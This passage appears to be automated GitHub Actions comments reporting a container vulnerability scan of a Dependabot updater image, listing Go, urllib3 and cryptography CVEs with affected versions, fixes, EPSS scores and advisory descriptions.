        During session resumption in crypto/tls, if the underlying Config has its ClientCAs or RootCAs fields mutated between the initial handshake and the resumed handshake, the resumed handshake may succeed when it should have failed. This may happen when a user calls Config.Clone and mutates the returned Config, or uses Config.GetConfigForClient. This can cause a client to resume a session with a server that it would not have resumed with during the initial handshake, or cause a server to resume a session with a client that it would not have resumed with during the initial handshake.

        high : CVE--2025--61729

        Affected range<1.24.11
        Fixed version1.24.11
        EPSS Score0.017%
        EPSS Percentile4th percentile
        Description

        Within HostnameError.Error(), when constructing an error string, there is no limit to the number of hosts that will be printed out. Furthermore, the error string is constructed by repeated string concatenation, leading to quadratic runtime. Therefore, a certificate provided by a malicious actor can result in excessive resource consumption.

        high : CVE--2025--61726

        Affected range<1.24.12
        Fixed version1.24.12
        EPSS Score0.026%
        EPSS Percentile7th percentile
        Description

        The net/url package does not set a limit on the number of query parameters in a query.

        While the maximum size of query parameters in URLs is generally limited by the maximum request header size, the net/http.Request.ParseForm method can parse large URL-encoded forms. Parsing a large form containing many unique query parameters can cause excessive memory consumption.

        high : CVE--2025--61725

        Affected range<1.24.8
        Fixed version1.24.8
        EPSS Score0.031%
        EPSS Percentile9th percentile
        Description

        The ParseAddress function constructs domain-literal address components through repeated string concatenation. When parsing large domain-literal components, this can cause excessive CPU consumption.

        high : CVE--2025--61723

        Affected range<1.24.8
        Fixed version1.24.8
        EPSS Score0.038%
        EPSS Percentile11th percentile
        Description

        The processing time for parsing some invalid inputs scales non-linearly with respect to the size of the input.

        This affects programs which parse untrusted PEM inputs.

        high : CVE--2025--58188

        Affected range<1.24.8
        Fixed version1.24.8
        EPSS Score0.018%
        EPSS Percentile4th percentile
        Description

        Validating certificate chains which contain DSA public keys can cause programs to panic, due to a interface cast that assumes they implement the Equal method.

        This affects programs which validate arbitrary certificate chains.

        high : CVE--2025--58187

        Affected range<1.24.9
        Fixed version1.24.9
        EPSS Score0.018%
        EPSS Percentile4th percentile
        Description

        Due to the design of the name constraint checking algorithm, the processing time of some inputs scale non-linearly with respect to the size of the certificate.

        This affects programs which validate arbitrary certificate chains.

        critical: 0 high: 3 medium: 0 low: 0 urllib3 2.0.7 (pypi)

        pkg:pypi/urllib3@2.0.7

        high 8.9: CVE--2026--21441 Improper Handling of Highly Compressed Data (Data Amplification)

        Affected range>=1.22
        <2.6.3
        Fixed version2.6.3
        CVSS Score8.9
        CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H
        EPSS Score0.031%
        EPSS Percentile9th percentile
        Description

        Impact

        urllib3's streaming API is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.

        urllib3 can perform decoding or decompression based on the HTTP Content-Encoding header (e.g., gzip, deflate, br, or zstd). When using the streaming API, the library decompresses only the necessary bytes, enabling partial content consumption.

        However, for HTTP redirect responses, the library would read the entire response body to drain the connection and decompress the content unnecessarily. This decompression occurred even before any read methods were called, and configured read limits did not restrict the amount of decompressed data. As a result, there was no safeguard against decompression bombs. A malicious server could exploit this to trigger excessive resource consumption on the client (high CPU usage and large memory allocations for decompressed data; CWE-409).

        Affected usages

        Applications and libraries using urllib3 version 2.6.2 and earlier to stream content from untrusted sources by setting preload_content=False when they do not disable redirects.

        Remediation

        Upgrade to at least urllib3 v2.6.3 in which the library does not decode content of redirect responses when preload_content=False.

        If upgrading is not immediately possible, disable redirects by setting redirect=False for requests to untrusted source.

        high 8.9: CVE--2025--66471 Improper Handling of Highly Compressed Data (Data Amplification)

        Affected range>=1.0
        <2.6.0
        Fixed version2.6.0
        CVSS Score8.9
        CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H
        EPSS Score0.027%
        EPSS Percentile7th percentile
        Description

        Impact

        urllib3's streaming API is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.

        When streaming a compressed response, urllib3 can perform decoding or decompression based on the HTTP Content-Encoding header (e.g., gzip, deflate, br, or zstd). The library must read compressed data from the network and decompress it until the requested chunk size is met. Any resulting decompressed data that exceeds the requested amount is held in an internal buffer for the next read operation.

        The decompression logic could cause urllib3 to fully decode a small amount of highly compressed data in a single operation. This can result in excessive resource consumption (high CPU usage and massive memory allocation for the decompressed data; CWE-409) on the client side, even if the application only requested a small chunk of data.

        Affected usages

        Applications and libraries using urllib3 version 2.5.0 and earlier to stream large compressed responses or content from untrusted sources.

        stream(), read(amt=256), read1(amt=256), read_chunked(amt=256), readinto(b) are examples of urllib3.HTTPResponse method calls using the affected logic unless decoding is disabled explicitly.

        Remediation

        Upgrade to at least urllib3 v2.6.0 in which the library avoids decompressing data that exceeds the requested amount.

        If your environment contains a package facilitating the Brotli encoding, upgrade to at least Brotli 1.2.0 or brotlicffi 1.2.0.0 too. These versions are enforced by the urllib3[brotli] extra in the patched versions of urllib3.

        Credits

        The issue was reported by @Cycloctane.
        Supplemental information was provided by @stamparm during a security audit performed by 7ASecurity and facilitated by OSTIF.

        high 8.9: CVE--2025--66418 Allocation of Resources Without Limits or Throttling

        Affected range>=1.24
        <2.6.0
        Fixed version2.6.0
        CVSS Score8.9
        CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H
        EPSS Score0.029%
        EPSS Percentile8th percentile
        Description

        Impact

        urllib3 supports chained HTTP encoding algorithms for response content according to RFC 9110 (e.g., Content-Encoding: gzip, zstd).

        However, the number of links in the decompression chain was unbounded allowing a malicious server to insert a virtually unlimited number of compression steps leading to high CPU usage and massive memory allocation for the decompressed data.

        Affected usages

        Applications and libraries using urllib3 version 2.5.0 and earlier for HTTP requests to untrusted sources unless they disable content decoding explicitly.

        Remediation

        Upgrade to at least urllib3 v2.6.0 in which the library limits the number of links to 5.

        If upgrading is not immediately possible, use preload_content=False and ensure that resp.headers["content-encoding"] contains a safe number of encodings before reading the response content.

        critical: 0 high: 3 medium: 0 low: 0 cryptography 41.0.7 (pypi)

        pkg:pypi/cryptography@41.0.7

        high 8.7: CVE--2023--50782 Observable Discrepancy

        Affected range<42.0.0
        Fixed version42.0.0
        CVSS Score8.7
        CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
        EPSS Score0.855%
        EPSS Percentile75th percentile
        Description

        A flaw was found in the python-cryptography package. This issue may allow a remote attacker to decrypt captured messages in TLS servers that use RSA key exchanges, which may lead to exposure of confidential or sensitive data.

        high 8.2: CVE--2026--26007 Insufficient Verification of Data Authenticity

        Affected range<=46.0.4
        Fixed version46.0.5
        CVSS Score8.2
        CVSS VectorCVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
        EPSS Score0.007%
        EPSS Percentile0th percentile
        Description

        Vulnerability Summary

        The public_key_from_numbers (or EllipticCurvePublicNumbers.public_key()), EllipticCurvePublicNumbers.public_key(), load_der_public_key() and load_pem_public_key() functions do not verify that the point belongs to the expected prime-order subgroup of the curve.

        This missing validation allows an attacker to provide a public key point P from a small-order subgroup. This can lead to security issues in various situations, such as the most commonly used signature verification (ECDSA) and shared key negotiation (ECDH). When the victim computes the shared secret as S = [victim_private_key]P via ECDH, this leaks information about victim_private_key mod (small_subgroup_order). For curves with cofactor > 1, this reveals the least significant bits of the private key. When these weak public keys are used in ECDSA , it's easy to forge signatures on the small subgroup.

        Only SECT curves are impacted by this.

        Credit

        This vulnerability was discovered by:

        • XlabAI Team of Tencent Xuanwu Lab
        • Atuin Automated Vulnerability Discovery Engine

        high 7.5: CVE--2024--26130 NULL Pointer Dereference

        Affected range>=38.0.0
        <42.0.4
        Fixed version42.0.4
        CVSS Score7.5
        CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
        EPSS Score0.341%
        EPSS Percentile56th percentile
        Description

        If pkcs12.serialize_key_and_certificates is called with both:

        1. A certificate whose public key did not match the provided private key
        2. An encryption_algorithm with hmac_hash set (via PrivateFormat.PKCS12.encryption_builder().hmac_hash(...)

        Then a NULL pointer dereference would occur, crashing the Python process.

        This has been resolved, and now a ValueError is properly raised.

        Patched in pyca/cryptography#10423

        critical: 0 high: 1 medium: 0 low: 0 golang.org/x/crypto 0.36.0 (golang)

        pkg:golang/golang.org/x/crypto@0.36.0

        high : CVE--2025--47913

        Affected range<0.43.0
        Fixed version0.43.0
        EPSS Score0.033%
        EPSS Percentile10th percentile
        Description

        SSH clients receiving SSH_AGENT_SUCCESS when expecting a typed response will panic and cause early termination of the client process.

        @github-actions
        Copy link

        github-actions bot commented Feb 25, 2026 •
        edited
        Loading

        Outdated

        Recommended fixes for image ghcr.io/dependabot/dependabot-updater-core:latest

        Base image is ubuntu:24.04

        Name24.04
        Digestsha256:98ff7968124952e719a8a69bb3cccdd217f5fe758108ac4f21ad22e1df44d237
        Vulnerabilitiescritical: 0 high: 0 medium: 4 low: 5
        Pushed2 weeks ago
        Size30 MB
        Packages131
        OS24.04
        The base image is also available under the supported tag(s): latest, noble

        Refresh base image

        Rebuild the image using a newer base image version. Updating this may result in breaking changes.

        ✅ This image version is up to date.

        Change base image

        TagDetailsPushedVulnerabilities
        26.04
        Major OS version update
        Also known as:
        • devel
        • resolute
        • resolute-20260108
        		 Benefits:
        • Image contains 9 fewer packages
        • Image has similar size
        • Image introduces no new vulnerability but removes 9
        • Major OS version update
        Image details:
        • Size: 34 MB
        • OS: 26.04
        		 1 month ago



        25.10
        Major OS version update
        Also known as:
        • rolling
        • questing
        • questing-20251217
        		 Benefits:
        • Image contains 7 fewer packages
        • Image has similar size
        • Image introduces no new vulnerability but removes 9
        • Major OS version update
        Image details:
        • Size: 34 MB
        • OS: 25.10
        		 2 months ago



        @github-actions
        Copy link

        github-actions bot commented Feb 25, 2026 •
        edited
        Loading

        Outdated

        🔍 Vulnerabilities of ghcr.io/dependabot/dependabot-updater-core:latest

        📦 Image Reference ghcr.io/dependabot/dependabot-updater-core:latest
        digestsha256:bf54b2c91cecf373014f9da2661b8bde31e370172c9d5e3bc190b683ca4e2139
        vulnerabilitiescritical: 6 high: 51 medium: 0 low: 0
        platformlinux/amd64
        size347 MB
        packages597
        📦 Base Image ubuntu:24.04
        also known as
        • latest
        • noble
        digestsha256:98ff7968124952e719a8a69bb3cccdd217f5fe758108ac4f21ad22e1df44d237
        vulnerabilitiescritical: 0 high: 0 medium: 4 low: 5
        critical: 5 high: 38 medium: 0 low: 0 stdlib 1.18.3 (golang)

        pkg:golang/stdlib@1.18.3

        critical : CVE--2025--68121

        Affected range<1.24.13
        Fixed version1.24.13
        EPSS Score0.016%
        EPSS Percentile3rd percentile
        Description

        During session resumption in crypto/tls, if the underlying Config has its ClientCAs or RootCAs fields mutated between the initial handshake and the resumed handshake, the resumed handshake may succeed when it should have failed. This may happen when a user calls Config.Clone and mutates the returned Config, or uses Config.GetConfigForClient. This can cause a client to resume a session with a server that it would not have resumed with during the initial handshake, or cause a server to resume a session with a client that it would not have resumed with during the initial handshake.

        critical : CVE--2024--24790

        Affected range<1.21.11
        Fixed version1.21.11
        EPSS Score0.082%
        EPSS Percentile24th percentile
        Description

        The various Is methods (IsPrivate, IsLoopback, etc) did not work as expected for IPv4-mapped IPv6 addresses, returning false for addresses which would return true in their traditional IPv4 forms.

        critical : CVE--2023--24540

        Affected range<1.19.9
        Fixed version1.19.9
        EPSS Score0.243%
        EPSS Percentile47th percentile
        Description

        Not all valid JavaScript whitespace characters are considered to be whitespace. Templates containing whitespace characters outside of the character set "\t\n\f\r\u0020\u2028\u2029" in JavaScript contexts that also contain actions may not be properly sanitized during execution.

        critical : CVE--2023--24538

        Affected range<1.19.8
        Fixed version1.19.8
        EPSS Score0.646%
        EPSS Percentile70th percentile
        Description

        Templates do not properly consider backticks (`) as Javascript string delimiters, and do not escape them as expected.

        Backticks are used, since ES6, for JS template literals. If a template contains a Go template action within a Javascript template literal, the contents of the action can be used to terminate the literal, injecting arbitrary Javascript code into the Go template.

        As ES6 template literals are rather complex, and themselves can do string interpolation, the decision was made to simply disallow Go template actions from being used inside of them (e.g. "var a = {{.}}"), since there is no obviously safe way to allow this behavior. This takes the same approach as github.com/google/safehtml.

        With fix, Template.Parse returns an Error when it encounters templates like this, with an ErrorCode of value 12. This ErrorCode is currently unexported, but will be exported in the release of Go 1.21.

        Users who rely on the previous behavior can re-enable it using the GODEBUG flag jstmpllitinterp=1, with the caveat that backticks will now be escaped. This should be used with caution.

        critical : CVE--2025--22871

        Affected range<1.23.8
        Fixed version1.23.8
        EPSS Score0.169%
        EPSS Percentile38th percentile
        Description

        The net/http package improperly accepts a bare LF as a line terminator in chunked data chunk-size lines. This can permit request smuggling if a net/http server is used in conjunction with a server that incorrectly accepts a bare LF as part of a chunk-ext.

        high : CVE--2023--29403

        Affected range<1.19.10
        Fixed version1.19.10
        EPSS Score0.009%
        EPSS Percentile1st percentile
        Description

        On Unix platforms, the Go runtime does not behave differently when a binary is run with the setuid/setgid bits. This can be dangerous in certain cases, such as when dumping memory state, or assuming the status of standard i/o file descriptors.

        If a setuid/setgid binary is executed with standard I/O file descriptors closed, opening any files can result in unexpected content being read or written with elevated privileges. Similarly, if a setuid/setgid program is terminated, either via panic or signal, it may leak the contents of its registers.

        high : CVE--2025--61729

        Affected range<1.24.11
        Fixed version1.24.11
        EPSS Score0.017%
        EPSS Percentile4th percentile
        Description

        Within HostnameError.Error(), when constructing an error string, there is no limit to the number of hosts that will be printed out. Furthermore, the error string is constructed by repeated string concatenation, leading to quadratic runtime. Therefore, a certificate provided by a malicious actor can result in excessive resource consumption.

        high : CVE--2025--61726

        Affected range<1.24.12
        Fixed version1.24.12
        EPSS Score0.026%
        EPSS Percentile7th percentile
        Description

        The net/url package does not set a limit on the number of query parameters in a query.

        While the maximum size of query parameters in URLs is generally limited by the maximum request header size, the net/http.Request.ParseForm method can parse large URL-encoded forms. Parsing a large form containing many unique query parameters can cause excessive memory consumption.

        high : CVE--2025--61725

        Affected range<1.24.8
        Fixed version1.24.8
        EPSS Score0.031%
        EPSS Percentile9th percentile
        Description

        The ParseAddress function constructs domain-literal address components through repeated string concatenation. When parsing large domain-literal components, this can cause excessive CPU consumption.

        high : CVE--2025--61723

        Affected range<1.24.8
        Fixed version1.24.8
        EPSS Score0.038%
        EPSS Percentile11th percentile
        Description

        The processing time for parsing some invalid inputs scales non-linearly with respect to the size of the input.

        This affects programs which parse untrusted PEM inputs.

        high : CVE--2025--58188

        Affected range<1.24.8
        Fixed version1.24.8
        EPSS Score0.018%
        EPSS Percentile4th percentile
        Description

        Validating certificate chains which contain DSA public keys can cause programs to panic, due to a interface cast that assumes they implement the Equal method.

        This affects programs which validate arbitrary certificate chains.

        high : CVE--2025--58187

        Affected range<1.24.9
        Fixed version1.24.9
        EPSS Score0.018%
        EPSS Percentile4th percentile
        Description

        Due to the design of the name constraint checking algorithm, the processing time of some inputs scale non-linearly with respect to the size of the certificate.

        This affects programs which validate arbitrary certificate chains.

        high : CVE--2024--34158

        Affected range<1.22.7
        Fixed version1.22.7
        EPSS Score0.163%
        EPSS Percentile37th percentile
        Description

        Calling Parse on a "// +build" build tag line with deeply nested expressions can cause a panic due to stack exhaustion.

        high : CVE--2024--34156

        Affected range<1.22.7
        Fixed version1.22.7
        EPSS Score0.306%
        EPSS Percentile53rd percentile
        Description

        Calling Decoder.Decode on a message which contains deeply nested structures can cause a panic due to stack exhaustion. This is a follow-up to CVE-2022-30635.

        high : CVE--2024--24791

        Affected range<1.21.12
        Fixed version1.21.12
        EPSS Score0.618%
        EPSS Percentile70th percentile
        Description

        The net/http HTTP/1.1 client mishandled the case where a server responds to a request with an "Expect: 100-continue" header with a non-informational (200 or higher) status. This mishandling could leave a client connection in an invalid state, where the next request sent on the connection will fail.

        An attacker sending a request to a net/http/httputil.ReverseProxy proxy can exploit this mishandling to cause a denial of service by sending "Expect: 100-continue" requests which elicit a non-informational response from the backend. Each such request leaves the proxy with an invalid connection, and causes one subsequent request using that connection to fail.

        high : CVE--2024--24784

        Affected range<1.21.8
        Fixed version1.21.8
        EPSS Score1.498%
        EPSS Percentile81st percentile
        Description

        The ParseAddressList function incorrectly handles comments (text within parentheses) within display names. Since this is a misalignment with conforming address parsers, it can result in different trust decisions being made by programs using different parsers.

        high : CVE--2023--45288

        Affected range<1.21.9
        Fixed version1.21.9
        EPSS Score71.463%
        EPSS Percentile99th percentile
        Description

        An attacker may cause an HTTP/2 endpoint to read arbitrary amounts of header data by sending an excessive number of CONTINUATION frames.

        Maintaining HPACK state requires parsing and processing all HEADERS and CONTINUATION frames on a connection. When a request's headers exceed MaxHeaderBytes, no memory is allocated to store the excess headers, but they are still parsed.

        This permits an attacker to cause an HTTP/2 endpoint to read arbitrary amounts of header data, all associated with a request which is going to be rejected. These headers can include Huffman-encoded data which is significantly more expensive for the receiver to decode than for an attacker to send.

        The fix sets a limit on the amount of excess header frames we will process before closing a connection.

        high : CVE--2023--45287

        Affected range<1.20.0
        Fixed version1.20.0
        EPSS Score0.190%
        EPSS Percentile41st percentile
        Description

        Before Go 1.20, the RSA based TLS key exchanges used the math/big library, which is not constant time. RSA blinding was applied to prevent timing attacks, but analysis shows this may not have been fully effective. In particular it appears as if the removal of PKCS#1 padding may leak timing information, which in turn could be used to recover session key bits.

        In Go 1.20, the crypto/tls library switched to a fully constant time RSA implementation, which we do not believe exhibits any timing side channels.

        high : CVE--2023--45283

        Affected range<1.20.11
        Fixed version1.20.11
        EPSS Score0.083%
        EPSS Percentile24th percentile
        Description

        The filepath package does not recognize paths with a ??\ prefix as special.

        On Windows, a path beginning with ??\ is a Root Local Device path equivalent to a path beginning with \?. Paths with a ??\ prefix may be used to access arbitrary locations on the system. For example, the path ??\c:\x is equivalent to the more common path c:\x.

        Before fix, Clean could convert a rooted path such as \a..??\b into the root local device path ??\b. Clean will now convert this to .??\b.

        Similarly, Join(, ??, b) could convert a seemingly innocent sequence of path elements into the root local device path ??\b. Join will now convert this to .??\b.

        In addition, with fix, IsAbs now correctly reports paths beginning with ??\ as absolute, and VolumeName correctly reports the ??\ prefix as a volume name.

        UPDATE: Go 1.20.11 and Go 1.21.4 inadvertently changed the definition of the volume name in Windows paths starting with ?, resulting in filepath.Clean(?\c:) returning ?\c: rather than ?\c:\ (among other effects). The previous behavior has been restored.

        high : CVE--2023--44487

        Affected range<1.20.10
        Fixed version1.20.10
        EPSS Score94.446%
        EPSS Percentile100th percentile
        Description

        A malicious HTTP/2 client which rapidly creates requests and immediately resets them can cause excessive server resource consumption. While the total number of requests is bounded by the http2.Server.MaxConcurrentStreams setting, resetting an in-progress request allows the attacker to create a new request while the existing one is still executing.

        With the fix applied, HTTP/2 servers now bound the number of simultaneously executing handler goroutines to the stream concurrency limit (MaxConcurrentStreams). New requests arriving when at the limit (which can only happen after the client has reset an existing, in-flight request) will be queued until a handler exits. If the request queue grows too large, the server will terminate the connection.

        This issue is also fixed in golang.org/x/net/http2 for users manually configuring HTTP/2.

        The default stream concurrency limit is 250 streams (requests) per HTTP/2 connection. This value may be adjusted using the golang.org/x/net/http2 package; see the Server.MaxConcurrentStreams setting and the ConfigureServer function.

        high : CVE--2023--39325

        Affected range<1.20.10
        Fixed version1.20.10
        EPSS Score0.150%
        EPSS Percentile35th percentile
        Description

        A malicious HTTP/2 client which rapidly creates requests and immediately resets them can cause excessive server resource consumption. While the total number of requests is bounded by the http2.Server.MaxConcurrentStreams setting, resetting an in-progress request allows the attacker to create a new request while the existing one is still executing.

        With the fix applied, HTTP/2 servers now bound the number of simultaneously executing handler goroutines to the stream concurrency limit (MaxConcurrentStreams). New requests arriving when at the limit (which can only happen after the client has reset an existing, in-flight request) will be queued until a handler exits. If the request queue grows too large, the server will terminate the connection.

        This issue is also fixed in golang.org/x/net/http2 for users manually configuring HTTP/2.

        The default stream concurrency limit is 250 streams (requests) per HTTP/2 connection. This value may be adjusted using the golang.org/x/net/http2 package; see the Server.MaxConcurrentStreams setting and the ConfigureServer function.

        high : CVE--2023--24537

        Affected range<1.19.8
        Fixed version1.19.8
        EPSS Score0.013%
        EPSS Percentile2nd percentile
        Description

        Calling any of the Parse functions on Go source code which contains //line directives with very large line numbers can cause an infinite loop due to integer overflow.

        high : CVE--2023--24536

        Affected range<1.19.8
        Fixed version1.19.8
        EPSS Score0.070%
        EPSS Percentile21st percentile
        Description

        Multipart form parsing can consume large amounts of CPU and memory when processing form inputs containing very large numbers of parts.

        This stems from several causes:

        1. mime/multipart.Reader.ReadForm limits the total memory a parsed multipart form can consume. ReadForm can undercount the amount of memory consumed, leading it to accept larger inputs than intended.
        2. Limiting total memory does not account for increased pressure on the garbage collector from large numbers of small allocations in forms with many parts.
        3. ReadForm can allocate a large number of short-lived buffers, further increasing pressure on the garbage collector.

        The combination of these factors can permit an attacker to cause an program that parses multipart forms to consume large amounts of CPU and memory, potentially resulting in a denial of service. This affects programs that use mime/multipart.Reader.ReadForm, as well as form parsing in the net/http package with the Request methods FormFile, FormValue, ParseMultipartForm, and PostFormValue.

        With fix, ReadForm now does a better job of estimating the memory consumption of parsed forms, and performs many fewer short-lived allocations.

        In addition, the fixed mime/multipart.Reader imposes the following limits on the size of parsed forms:

        1. Forms parsed with ReadForm may contain no more than 1000 parts. This limit may be adjusted with the environment variable GODEBUG=multipartmaxparts=.
        2. Form parts parsed with NextPart and NextRawPart may contain no more than 10,000 header fields. In addition, forms parsed with ReadForm may contain no more than 10,000 header fields across all parts. This limit may be adjusted with the environment variable GODEBUG=multipartmaxheaders=.

        high : CVE--2023--24534

        Affected range<1.19.8
        Fixed version1.19.8
        EPSS Score0.048%
        EPSS Percentile15th percentile
        Description

        HTTP and MIME header parsing can allocate large amounts of memory, even when parsing small inputs, potentially leading to a denial of service.

        Certain unusual patterns of input data can cause the common function used to parse HTTP and MIME headers to allocate substantially more memory than required to hold the parsed headers. An attacker can exploit this behavior to cause an HTTP server to allocate large amounts of memory from a small request, potentially leading to memory exhaustion and a denial of service.

        With fix, header parsing now correctly allocates only the memory required to hold parsed headers.

        high : CVE--2022--41725

        Affected range<1.19.6
        Fixed version1.19.6
        EPSS Score0.055%
        EPSS Percentile17th percentile
        Description

        A denial of service is possible from excessive resource consumption in net/http and mime/multipart.

        Multipart form parsing with mime/multipart.Reader.ReadForm can consume largely unlimited amounts of memory and disk files. This also affects form parsing in the net/http package with the Request methods FormFile, FormValue, ParseMultipartForm, and PostFormValue.

        ReadForm takes a maxMemory parameter, and is documented as storing "up to maxMemory bytes +10MB (reserved for non-file parts) in memory". File parts which cannot be stored in memory are stored on disk in temporary files. The unconfigurable 10MB reserved for non-file parts is excessively large and can potentially open a denial of service vector on its own. However, ReadForm did not properly account for all memory consumed by a parsed form, such as map entry overhead, part names, and MIME headers, permitting a maliciously crafted form to consume well over 10MB. In addition, ReadForm contained no limit on the number of disk files created, permitting a relatively small request body to create a large number of disk temporary files.

        With fix, ReadForm now properly accounts for various forms of memory overhead, and should now stay within its documented limit of 10MB + maxMemory bytes of memory consumption. Users should still be aware that this limit is high and may still be hazardous.

        In addition, ReadForm now creates at most one on-disk temporary file, combining multiple form parts into a single temporary file. The mime/multipart.File interface type's documentation states, "If stored on disk, the File's underlying concrete type will be an *os.File.". This is no longer the case when a form contains more than one file part, due to this coalescing of parts into a single file. The previous behavior of using distinct files for each form part may be reenabled with the environment variable GODEBUG=multipartfiles=distinct.

        Users should be aware that multipart.ReadForm and the http.Request methods that call it do not limit the amount of disk consumed by temporary files. Callers can limit the size of form data with http.MaxBytesReader.

        high : CVE--2022--41724

        Affected range<1.19.6
        Fixed version1.19.6
        EPSS Score0.015%
        EPSS Percentile3rd percentile
        Description

        Large handshake records may cause panics in crypto/tls.

        Both clients and servers may send large TLS handshake records which cause servers and clients, respectively, to panic when attempting to construct responses.

        This affects all TLS 1.3 clients, TLS 1.2 clients which explicitly enable session resumption (by setting Config.ClientSessionCache to a non-nil value), and TLS 1.3 servers which request client certificates (by setting Config.ClientAuth >= RequestClientCert).

        high : CVE--2022--41723

        Affected range<1.19.6
        Fixed version1.19.6
        EPSS Score0.195%
        EPSS Percentile41st percentile
        Description

        A maliciously crafted HTTP/2 stream could cause excessive CPU consumption in the HPACK decoder, sufficient to cause a denial of service from a small number of small requests.

        high : CVE--2022--41722

        Affected range<1.19.6
        Fixed version1.19.6
        EPSS Score0.175%
        EPSS Percentile39th percentile
        Description

        A path traversal vulnerability exists in filepath.Clean on Windows.

        On Windows, the filepath.Clean function could transform an invalid path such as "a/../c:/b" into the valid path "c:\b". This transformation of a relative (if invalid) path into an absolute path could enable a directory traversal attack.

        After fix, the filepath.Clean function transforms this path into the relative (but still invalid) path ".\c:\b".

        high : CVE--2022--41720

        Affected range<1.18.9
        Fixed version1.18.9
        EPSS Score0.035%
        EPSS Percentile10th percentile
        Description

        On Windows, restricted files can be accessed via os.DirFS and http.Dir.

        The os.DirFS function and http.Dir type provide access to a tree of files rooted at a given directory. These functions permit access to Windows device files under that root. For example, os.DirFS("C:/tmp").Open("COM1") opens the COM1 device. Both os.DirFS and http.Dir only provide read-only filesystem access.

        In addition, on Windows, an os.DirFS for the directory (the root of the current drive) can permit a maliciously crafted path to escape from the drive and access any path on the system.

        With fix applied, the behavior of os.DirFS("") has changed. Previously, an empty root was treated equivalently to "/", so os.DirFS("").Open("tmp") would open the path "/tmp". This now returns an error.

        high : CVE--2022--41716

        Affected range<1.18.8
        Fixed version1.18.8
        EPSS Score0.013%
        EPSS Percentile2nd percentile
        Description

        Due to unsanitized NUL values, attackers may be able to maliciously set environment variables on Windows.

        In syscall.StartProcess and os/exec.Cmd, invalid environment variable values containing NUL values are not properly checked for. A malicious environment variable value can exploit this behavior to set a value for a different environment variable. For example, the environment variable string "A=B\x00C=D" sets the variables "A=B" and "C=D".

        high : CVE--2022--41715

        Affected range<1.18.7
        Fixed version1.18.7
        EPSS Score0.016%
        EPSS Percentile4th percentile
        Description

        Programs which compile regular expressions from untrusted sources may be vulnerable to memory exhaustion or denial of service.

        The parsed regexp representation is linear in the size of the input, but in some cases the constant factor can be as high as 40,000, making relatively small regexps consume much larger amounts of memory.

        After fix, each regexp being parsed is limited to a 256 MB memory footprint. Regular expressions whose representation would use more space than that are rejected. Normal use of regular expressions is unaffected.

        high : CVE--2022--32189

        Affected range>=1.18.0-0
        <1.18.5
        Fixed version1.18.5
        EPSS Score0.113%
        EPSS Percentile30th percentile
        Description

        Decoding big.Float and big.Rat types can panic if the encoded message is too short, potentially allowing a denial of service.

        high : CVE--2022--30635

        Affected range>=1.18.0-0
        <1.18.4
        Fixed version1.18.4
        EPSS Score0.098%
        EPSS Percentile27th percentile
        Description

        Calling Decoder.Decode on a message which contains deeply nested structures can cause a panic due to stack exhaustion.

        high : CVE--2022--30633

        Affected range>=1.18.0-0
        <1.18.4
        Fixed version1.18.4
        EPSS Score0.096%
        EPSS Percentile27th percentile
        Description

        Unmarshaling an XML document into a Go struct which has a nested field that uses the 'any' field tag can panic due to stack exhaustion.

        high : CVE--2022--30632

        Affected range>=1.18.0-0
        <1.18.4
        Fixed version1.18.4
        EPSS Score0.096%
        EPSS Percentile27th percentile
        Description

        Calling Glob on a path which contains a large number of path separators can cause a panic due to stack exhaustion.

        high : CVE--2022--30631

        Affected range>=1.18.0-0
        <1.18.4
        Fixed version1.18.4
        EPSS Score0.041%
        EPSS Percentile12th percentile
        Description

        Calling Reader.Read on an archive containing a large number of concatenated 0-length compressed files can cause a panic due to stack exhaustion.

        high : CVE--2022--30630

        Affected range>=1.18.0-0
        <1.18.4
        Fixed version1.18.4
        EPSS Score0.038%
        EPSS Percentile11th percentile
        Description

        Calling Glob on a path which contains a large number of path separators can cause a panic due to stack exhaustion.

        high : CVE--2022--2880

        Affected range<1.18.7
        Fixed version1.18.7
        EPSS Score0.032%
        EPSS Percentile9th percentile
        Description

        Requests forwarded by ReverseProxy include the raw query parameters from the inbound request, including unparsable parameters rejected by net/http. This could permit query parameter smuggling when a Go proxy forwards a parameter with an unparsable value.

        After fix, ReverseProxy sanitizes the query parameters in the forwarded query when the outbound request's Form field is set after the ReverseProxy. Director function returns, indicating that the proxy has parsed the query parameters. Proxies which do not parse query parameters continue to forward the original query parameters unchanged.

        high : CVE--2022--2879

        Affected range<1.18.7
        Fixed version1.18.7
        EPSS Score0.016%
        EPSS Percentile3rd percentile
        Description

        Reader.Read does not set a limit on the maximum size of file headers. A maliciously crafted archive could cause Read to allocate unbounded amounts of memory, potentially causing resource exhaustion or panics. After fix, Reader.Read limits the maximum size of header blocks to 1 MiB.

        high : CVE--2022--28131

        Affected range>=1.18.0-0
        <1.18.4
        Fixed version1.18.4
        EPSS Score0.015%
        EPSS Percentile3rd percentile
        Description

        Calling Decoder.Skip when parsing a deeply nested XML document can cause a panic due to stack exhaustion.

        high : CVE--2022--27664

        Affected range<1.18.6
        Fixed version1.18.6
        EPSS Score0.093%
        EPSS Percentile26th percentile
        Description

        HTTP/2 server connections can hang forever waiting for a clean shutdown that was preempted by a fatal error. This condition can be exploited by a malicious client to cause a denial of service.

        high : CVE--2023--29400

        Affected range<1.19.9
        Fixed version1.19.9
        EPSS Score0.048%
        EPSS Percentile15th percentile
        Description

        Templates containing actions in unquoted HTML attributes (e.g. "attr={{.}}") executed with empty input can result in output with unexpected results when parsed due to HTML normalization rules. This may allow injection of arbitrary attributes into tags.

        high : CVE--2023--24539
